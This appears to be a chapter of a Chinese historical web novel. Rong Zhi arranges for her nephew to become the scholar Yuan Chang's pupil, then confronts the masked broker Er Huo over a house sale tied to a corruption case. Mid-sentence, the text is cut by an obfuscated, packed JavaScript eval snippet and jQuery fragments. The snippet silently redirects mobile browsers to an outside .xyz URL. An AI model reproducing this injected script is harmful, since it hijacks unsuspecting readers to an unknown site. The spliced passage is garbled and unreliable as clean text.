回廊之后，袁敞穿素雅青衫，立在低檐下不苟言笑的模样，完全符合容芝对古代文人雅士的想象，只是，与他站在一起的袁夫人世俗气多了些，却也更为有趣。
“快来快来！”袁夫人冲容芝母子俩招手。
容芝牵着游乘，到底走不快。孩子身子不适，脚步未免虚浮，刚踏上石阶，还没来得及给袁敞行礼，一脑袋栽倒在袁敞脚边。
“哥儿这是怎么了？”袁夫人抱起孩子，揉揉他的小脸。
游乘拨浪鼓似的摇头，“乘儿没事的，乘儿可以！”说着他下地，要给袁敞行礼，却被袁敞的胳膊拦住。
袁敞竟直接将游乘抱起来，“虚礼免了吧！”
又回头对容芝说；“孩子先交给我，我与他详谈？”
容芝点头：“自然，先生自便。”
游乘趴在袁敞，皱着稚气的眉，容芝挥了挥手，他才转过了身去。
等在正堂时，容芝喝了两壶茶，吃了两回糕果，仍不见游乘出来。
倒是门房来传，说门前有游家丫鬟找。
买药的人回来了，容芝仓皇起身，“袁夫人先坐，妾身去看看。”
阿桔还是扮男装，与虞次站在一处，见容芝出府门，赶紧奉上药瓮，“按医嘱，我已用沸水冲泡好，让乘哥儿服下即可。”
可是怎么送进去？
容芝是女眷，身份不便，虞次又是练家子，唯恐一句不对冲撞袁敞。正当为难，她从回廊经过，听见几个孩童在小花园打闹，望过去，石桌边还坐着个安安静静的小人。
“那不是刚才的小公子么？”阿桔眼尖认出来。
容芝介绍说，“他是都察院左御史刘家的嫡幼子，刘与之。”
与此同时，回廊那边笑声不迭。
“你们知道么？今日来见先生的小子，是游家人，还是个庶孙。”
“难怪！听说他一见先生就行了趴伏大礼！哈哈哈——”
“炒盐豆（1）一样！”
小儿们的嬉笑落在耳中，阿桔狠狠捏拳，虞次要提刀上去。
容芝只说，“看，有人出面了。”
但见刘与之起了身，一个回手，书册正中为首起哄的小儿面门。
那孩子吓哭，捂脸后退，大喊：“师娘快来！刘与之他又以大欺小！”
被唤作师娘的袁夫人此刻在正堂瞌睡打盹，没能赶来主持公道。
刘与之瞪那撒泼小儿，“给我把书捡回来。”
小儿乖乖照做，嘴上不服，“刘与之你就会仗势欺人！等哪天你爹倒台，看谁还惯你！”
刘与之接过书继续翻，对这番挑衅充耳不闻。
阿桔不由笑出声，引得刘与之抬头看了过来。
对视之下，容芝浅浅作揖，“见过刘小公子。”
刘与之收起书册走到容芝面前，六岁的孩子还不及她肩高，同样作揖，“见过夫人，您这药……可是给游乘的？”
容芝说，“不知，公子方不方便代劳？”
刘与之将书别在了腰后，“您客气，当然可以。”
望着他进里间的背影，阿桔忽然说：“夫人，这院里的小孩都不简单，刘与之会不会把药扔了？”
容芝颇有把握，“他不会的。”原著中，刘与之和游乘在乡试第一场相识，此后多年，二人一同入仕，至死都是挚友。
阿桔仍不放心，“可他爹刘钦是咱家侯爷的死敌，谁知这小子是不是阴奉阳违？”
虞次拱手，“需要我跟上看看吗？”
容芝说，“不必，一罐子药罢了，正好也探探这孩子的心。再则，今日由刘与之送药给乘哥儿，日后乘哥儿在此就不会受欺负了。”
“原来！”阿桔和虞次相视而笑，目光一触即离。
主仆三人回去正堂等。
过不多时，刘与之过来给袁夫人行礼，再到容芝面前回话，“药送到了。”
容芝问：“他还好么？”
刘与之答：“先生的问题，他都答得上来，先生应是满意他的。”
容芝起身，“今日多谢小公子。”
刘与之还欲说什么，看向里间门的目光一滞，果然，游乘由袁敞抱着走出来。
“先生劳累了！”容芝示意虞次上前接过游乘。
孩子喝了药，面色不似刚才那样惨白，小声喊道，“大伯母。”
容芝摸摸孩子的脸，便听袁敞大笑起来。
袁敞捋着胡须，“夫人对这侄子，倒是有心，不过，往后怕还要麻烦夫人，为你侄子准备一份束脩。”
容芝说，“束脩？妾身带了，带了。”忙把钱袋子送上。
打盹的袁夫人醒了，见此上来推辞，“哪能要你的钱？”
袁敞也笑道：“我家夫人所言极是，关于昨夜之事……多亏有你。”
家丑不可外扬，点到即止。容芝心领神会，与袁夫人交换一个笑脸。
袁夫人吩咐泡壶新茶。由容芝倒茶，再由游乘端茶敬给袁敞，这拜师礼便成了。
游乘刚从地上起来，有门房小厮来报，说：“游家媳妇求见。”
还能是谁。
容芝对游乘招手，把孩子牵在手里，这才察觉到他在发抖。怕自家母亲怕成这样，也算稀世罕见了。
“哥儿，大伯母在，不怕，”容芝抱紧游乘，看向上首的袁敞夫妻。
先生摆摆手回了里间，留下袁夫人回那门房小厮，“谁缺她那一千两么？就跟她说，她求的事，没机会。”
游怜山的双环玉找不见了。
一回东园，就有丫鬟慌里慌张给容芝跪下。
容芝到枕边，说我放在这底下的。可是掀开找，也压根没有。
“会不会掉在床下？底下有暗格吗？”阿桔举着烛台，伸手进去扒拉。
游怜山进门的时候，看到主仆俩趴在地上，便问在找什么。容芝拍拍阿桔，两人一同起了身。容芝说阿桔脸上脏了快去洗洗，阿桔赶紧给游怜山福完礼，一溜烟消失在门口。
容芝这才打量起游怜山的新官服，以及游怜山含笑的面色。虽说工部员外郎比钦天监监正的品级低了半阶，但游怜山是当作赚了的。
“你在找它吧？”游怜山掏出他的双环玉。
乌龙闹大了，东西在主人身上，还轮得着她惦记下落？
容芝一阵面羞，狡辩道，“它是你的，我找它做什么？”
此事轻轻翻过去，游怜山自己倒水喝，说道：“那坍塌案有新进展。”
容芝坐在他身边，看着他，“怎么呢？”
游怜山叹了一声，“据说，刑部拿到新的贪墨信证，礼部左侍郎……要被处死了。”
容芝脑中空了一瞬，“新的信证？”
游怜山放下茶杯，“嗯”了声。
阿桔又进来，端了一盆热水，拿起帕巾，请容芝净手净面。
容芝沉默着，慢慢洗了手，说让阿桔先出去，她困了。
余哥儿在床上嚎了一嗓子，容芝回神，脱鞋躺下来，拍着余哥儿的背，闭起眼睛。
黑暗中，她听阿桔问游怜山，“大爷睡榻？”
游怜山说，“哦，最近我腰不舒服，就喜欢睡硬榻。”
没一会，屋门关上，没了动静。
长夜漫漫，容芝根本睡不着，满脑子都是游怜山的那句——刑部拿到新证据礼部左侍郎要被处死了。她还想起卖给袁家的五进大宅子，这才刚办完手续，案子就爆出新证据……很难不让她怀疑，这些证据和工部尚书谢家的宅子没关系。
隔天，游怜山早早离家去了工部衙门。
容芝抱着游余，再拿上游怜山批注的书局账目，也出了门。
在府门前，阿桔抱走容芝，说游乘已经在马车里了。
容芝正要上车，碰上周氏从府门里出来。
周氏抱着一口妆匣，低头走路，连声叹气。
身旁的丫鬟问周氏：“这些，夫人都要卖？”
周氏没抬头，“当然要卖，我绝不能让容芝赢过我，也绝不能让二爷丢脸。我的乘哥儿啊……呜呜——”
阿桔皱起眉，“怎么还哭上了？”
容芝按住阿桔，上前叫了声“二弟妹”。
周氏的眼下黑青比前几日更明显，“大嫂又要去书局？”
容芝看看手上的账本，说，“你大哥帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994848|178126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我提了几条建议，或许来年书局要重新部署，我今日找老周掌柜商量一下。”
周氏点点头，“那大嫂慢走。”
容芝愣在原地，看周氏上了马车，心中竟有一丝难过。
“可怜之人，必有可恨之处，”阿桔的话拉回容芝的思绪。
容芝握紧手中的账本，“你说的对。”
将游乘送去袁府，再回书局与老周简单沟通。老周是懂生意的人，能看懂游怜山的账本批注，许诺尽快理出新一年的计划。
“你慢慢来，”容芝叮嘱老周，看见那账本的时候便感到心痛。
礼部左侍郎快死了。
事情到此，她必须去千家胡同找到尔惑问清楚，买卖宅子的背后是否真如她所想，有什么不可见光的交易。而她自己，是否成了尔惑这盘棋上的棋子？
虞次说马夫喝酒睡着了，由他帮夫人赶车。
容芝瞧着他，猜到他是游怜山安插的眼线，但游怜山应没坏心。
“那就麻烦你。”
“夫人客气。”
一行人到千家胡同口，当头的茶庄门前有几面招幌，迎风更显破烂。
而它旁边的另一家铺子更是冷冷清清，几乎半关着门。
虞次望着门店名，问道，“夫人来此见谁？男的，女的？”
阿桔闻言兜头给他一拳，“主人家的事，能打听吗？你是大爷身边的人，竟不懂规矩？”
虞次立刻赔礼，“谢阿桔提醒，我不问了。”
一番闹腾，容芝抱着游余，推门进去。
虞次也要跟着进，被阿桔拉住，她又瞪了他一眼。
虞次只好停住，对前面的容芝道，“夫人小心，我与阿桔姑娘在门外等，您有事就喊！”
容芝没回头，她知道自己很安全，因为她对尔惑还有利用价值。
这间房牙行的店前不大，除了正脸柜台，两侧各有一桌四椅，再往后，是一道深色的门帘，不透光。
门帘后，命生走出来，拱手说：“尔惑先生在等夫人。”
她随这剑士去后间，显出另一番宽阔天地，山水桥亭俱全。
尔惑坐在亭下，抚琴，还戴着半张银面具。
见容芝进来，尔惑给容芝倒了茶，“大夫人。”
容芝看也没看，开门见山问他：“工部尚书谢家的宅子藏有礼部贪墨的证据？所以，你着急送宅给袁家，把搜出的书信变成刑部袁至诚的刀，扎在礼部左侍郎的身上？”
尔惑握着茶杯的指节微白，顿了顿说：“夫人聪明。”
倏地，容芝感到脸发烫。
她把房牙腰牌砸在桌上，“所以，你在利用我？”
尔惑看了眼腰牌，翻到正面，露出“谷之”二字，笑道：“可是，袁敞收你家孩子为学生，夫人得到了想要的，怎么能说是利用？”
容芝推开那腰牌，它直直飞向尔惑的面具，相撞时，哐啷一声脆响。
她撑着桌沿站起，“……我早该想到！先生手眼通天，宁愿自己赔银也要把宅送给袁家，背后又怎会没有勾当？不错，我是得了我要的，可也因为此事，我家乘哥儿被人喂桃花粥，腹泻不止，差点误了昨日与袁敞的见面！现在我变成众矢之的，被人记恨，你却安然躲在面具后，吃茶、抚琴？”
话音落下，尔惑看向她，不答反问：“谁记恨你？”
容芝说：“礼部尚书、内阁首辅，李经章。”
尔惑靠在椅上，片刻才喃道，“……不可能。对付你这小人物，何至于他亲自出手。”
一句话刺到容芝的痛，她怒道：“对，我就是小人物！李经章不用亲自出手，出手的是他的嫡长女李襄，我侯府的三弟妹！”
这下尔惑终是了然，喝了口茶，“她啊。”
容芝看不得他的不在乎，“为何你这副表情？”
尔惑只笑，“若是她出手，便不是李经章的主意。夫人自己想想，那李经章能做到首辅，居然如此沉不住气？”
若那碗桃花粥非李经章的授意，是誰指使三房李襄，对游乘下手？
正当容芝疑惑，尔惑说：“大夫人不妨静等？这次没成，必有后手。”